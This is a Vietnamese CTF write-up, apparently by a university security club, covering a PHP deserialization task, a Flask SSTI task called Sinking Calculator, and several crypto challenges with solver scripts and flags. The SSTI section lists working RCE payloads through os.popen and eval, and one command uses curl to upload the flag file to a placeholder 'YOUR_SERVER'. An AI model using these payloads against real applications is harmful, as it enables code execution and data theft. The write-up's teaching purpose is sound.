Giải thích: Lồng ghép thứ nhất sẽ gán $secret là object Y thì trong wakeup có echo $secret gọi được toString. Lồng ghép thứ 2, vì trước đó toString được gọi nên global $printFlag True nên gán $secret thứ 2 bằng object Y chỉ nhầm unserialize Y không trigger hàm construct.

B64 enc đoạn trên:

FLAG: ictf{d3s3r14l1z4t10n_4nd_d3struct10n}

#Lượm được solution khác, tạm thời để đây =)))
#from TheBadGod
$y = new Y("flag");
$x = New X("flag");
echo serialize([$y, new Y($y), $x]);

Sinking Calculator

Tại source code ta nhận được thì không khó để biết là một bài SSTI.

Nhưng khó khăn ở đây output đã được lọc mỗi số mới được in ra, và len đầu vào chỉ được 80.

SSTI để rce đã được nhưng để đọc được thì phải tìm được command để khi in nội dung ở base8 hoặc 10 rồi đem đi convert. Vì giới hạn 80 ký tự nên có một số command tìm được lại không dùng được, vất vả khó khăn lới mới tìm được 1 cái command có thể dùng.

Tại đây có thể sử dụng od command để convert file content sang Oct. od -b -A n fla*

Payload: calc?query=config.class.init.globals[%27os%27].popen(%27od%20-b%20-An%20fla*%27).read()

Lúc này sẽ nhận một dãy số, convert octal to text là có flag.

FLAG: ictf{this_flag_has_three_interesting_properties_it_has_no_numbers_or_dashes_it_is_quite_long_and_it_is_quite_scary}

#Một số payload lượm lặt được mình lưu ở đây
#1 from puzzler1
1.__class__(g.pop.__globals__.__builtins__.open("flag","rb").read().hex(),16)
#2 from TheBadGod (read a char a time) - base #1 but too bad
a}}{{url_for.__globals__.__builtins__.open("flag","rb").read()[0]
#3 from maple3142
curl "https://sinking-calculator.chal.imaginaryctf.org/calc?query=request.application.__globals__.__builtins__%5B%27eval%27%5D%28request.data%29" -X GET --data-raw "__import__('os').system('curl http://YOUR_SERVER -F f=@flag')"
#request.data still exists in GET request
#4 from tirefire
request.application\
.__globals__.__builtins__['eval'](request.full_path[97:])\
&a=chr(45)\
.join(map(str,map(ord,open(chr(0)[:0].join(map(chr,[102,108,97,103]))).read())))
#5 from Aiviaghost
config.__init__.__globals__.os.popen("nl * | od -b").read()
#6 from puzzler1
g.pop.__globals__.os.popen("od f*").read()

CRYPTO

GiongfNef

Rock Solid Algorithm

n = 18718668654839418101060350414897678724581774081742102287908765212690862231899547405582997157020093499506177632395430572542600019258424947803591395926472246347413986531437177801754324606200243710836609694453888894668656807471052095014376204102474311740080044776201105722801365112971807912406879483156845216746137339614577267869908065296042390812575960639865867729920434603853708907147465162697098688239587320232595412227310236678367
e = 5
c = 4061448515799106340420739691775850071489215699577921072934942485890519294380069123037340174441242842518682390853378784679825023237216051766738593812159344136064529711265570171627670665806072255545198689928996413238102114126558579154343844959868438278433954975590137693439216155482228025380904377837299357044104373966173149290333194304831238889245126840666444234215617022142380016275718234640045049962318290976661640301222078289152

Dạng RSA với e nhỏ nên ta dễ dàng brute force với flag = 5 √ (k*n + c) với k ∈ Z

from Crypto.Util.number import*
n = 18718668654839418101060350414897678724581774081742102287908765212690862231899547405582997157020093499506177632395430572542600019258424947803591395926472246347413986531437177801754324606200243710836609694453888894668656807471052095014376204102474311740080044776201105722801365112971807912406879483156845216746137339614577267869908065296042390812575960639865867729920434603853708907147465162697098688239587320232595412227310236678367
e = 5
c = 4061448515799106340420739691775850071489215699577921072934942485890519294380069123037340174441242842518682390853378784679825023237216051766738593812159344136064529711265570171627670665806072255545198689928996413238102114126558579154343844959868438278433954975590137693439216155482228025380904377837299357044104373966173149290333194304831238889245126840666444234215617022142380016275718234640045049962318290976661640301222078289152
i = 1
def find_invpow(x,n):
    high = 1
    while high ** n < x:
        high *= 2
    low = high//2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
            high = mid
        else:
            return mid
    return mid + 1
while True:
    flag = long_to_bytes(find_invpow(i*n+c,5))
    if b'ictf' in flag:
        print(flag,i)
    i+=1
#b'ictf{3_isnt_th3_0nly_sm4ll_3xp0n3nt}'

Flip Flops

file: Chall

về ý tưởng : đầu tiên ta phải gửi chuỗi hex cho server, server encode mọi chuỗi trừ trường hợp có cụm ‘gimmeflag’, bước 2 check lại nếu trong chuỗi vừa encode có cụm ‘gimmeflag’ server sẽ trả lại flag. Đây là mã CBC, block đầu tiên sẽ được xor với block iv, các block sau sẽ được xor với block trước nó. Ở đây ta không kiểm soát được block đầu tiên nên bỏ qua, ta gửi cụm aaaaaaaaaaaaaaaaGimmeflag , sau khi encode xong ta đổi kí tự đầu tiên là G thành g

Ta đổi kí tự đầu tiên cho dễ, rõ hơn:

32 = ord(‘G’) xor ord(‘g’) ( G xor g)

ta lấy kí tự đầu tiên của chuỗi sau khi encode ở dạng hex là :

0xb7^32 ( G xor( G xor g )) = g ) ta lại thu được g chuyển lại hex và thay là xong Gimmeflag -> gimmeflag

flag: ictf{fl1p_fl0p_b1ts_fl1pped_b6731f96}

Lines

file: Chall

bài này ta có :

flag_enc = (s * flag)%p

msg_enc= (s * msg)%p

ta dễ dàng tìm được s bằng nghịch đảo: s = (msg^-1 * msg_enc )%p tương tự ta tìm được flag .

from Crypto.Util.number import *
import random
msg = bytes_to_long(b":roocursion:")
p = 82820875767540480278499859101602250644399117699549694231796720388646919033627
flag_enc = 26128737736971786465707543446495988011066430691718096828312365072463804029545
msg_enc = 15673067813634207159976639166112349879086089811595176161282638541391245739514
# s  = g^(ab) mod p
# flag_enc = (s * flag)%p
# msg_enc=(s * msg)%p
s = (pow(msg,-1,p) * msg_enc)%p 
print(s)
print(long_to_bytes((inverse(s,p) * flag_enc )%p))

flag: ictf{m0d_4r1th_ftw_1c963241}

lttn

roll it back

Challenge

from itertools import *
from gmpy2 import *
def x(a,b):
    return bytes(islice((x^y for x,y in zip(cycle(a), cycle(b))), max(*map(len, [a, b]))))
def t(x):
    return sum((((x & 28) >> 4) & 1) << i for i, x in enumerate(x))
T = t(x(b"jctf{not_the_flag}", b"*-*")) | 1
with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read(), "little")
    l = flag.bit_length()
print(f"{l = }")
for _ in range(421337):
    flag = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))
print(f"{flag = }")
### Output
# l = 420
# flag = 2535320453775772016257932121117911974157173123778528757795027065121941155726429313911545470529920091870489045401698656195217643
###

Nhìn vào đoạn đầu 1 xíu thì mình thấy code khá là loằng ngoằng với biến T được tạo từ 2 hàm x()``t(). Thật ra mình không cần quan tâm đến 2 hàm này lắmvì các tham số để tính T đều đã biết trước. Chỉ cần copy lại là có thể tính được T.

Mình tính ra T là : 136085` và bài cũng cho sẵn flag.bit_length()=`420

Tiếp theo ta cần quan tâm đến đoạn:

for _ in range(421337):
    flag = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))

Đoạn này mỗi lần lặp flag sẽ mất đi 1 bit cuối và nếu như tổng số bit của 1`(flag&T) là số lẻ thì `flag` sẽ được `or` với `1<<419

Ở đoạn tính flag` `or` `1<<419` , vì flag đã mất 1 bit trước đó nên phép tính này đơn giản chỉ là thêm 1 bit `1 vào làm bit cao nhất của flag.

Đến đây có thể dễ dàng thấy được quy luật của bài này: Mỗi lần lặp flag mất đi 1 bit và nếu tổng số bit 1` của `flag&T` là lẻ thì thêm `1 vào làm bit cao nhất, ngược lại thì thêm 0 vào làm bit cao nhất.

Lúc này mình có thể tìm tìm lai được flag ban đầu bằng cách dự đoán trước bit thấp nhất đã được bỏ đi ở mỗi lần lặp rồi check lại điều kiên bằng cách tính tổng số bit 1 của flag&T. Nếu bit cao nhất của flag đang là 1 thì kết quả phải ra là số lẻ, ngược lại thì kết quả phải là chẵn và bỏ đi bit đầu tiên của flag. Cứ làm như thế đến khi đủ số lần lăp là tìm lại được flag ban đầu

full_script

Một số bài #Forensics và #Misc xem thêm tại đây

TIN LIÊN QUAN
The Wanna.One Cyber Security Club shares writeup of some solved Challenges with the purpose of academic exchanges. We always welcome and look forward to comments from any of you via email: wannaone.uit@gmail.com FWORD CTF 2021: https://ctftime.org/event/1405 Sat, 28 Aug. 2021, 00:00 ICT — Sun, 29 Aug. 2021, 12:00 ICT Author:...
CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và fanpage: fb.com/inseclab. Mochi Nishi vaudeville Description Info: The Dramatis Personae invite...
CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và thông qua fanpage: fb.com/inseclab. lttn Symbol Ta dễ dàng thấy đây...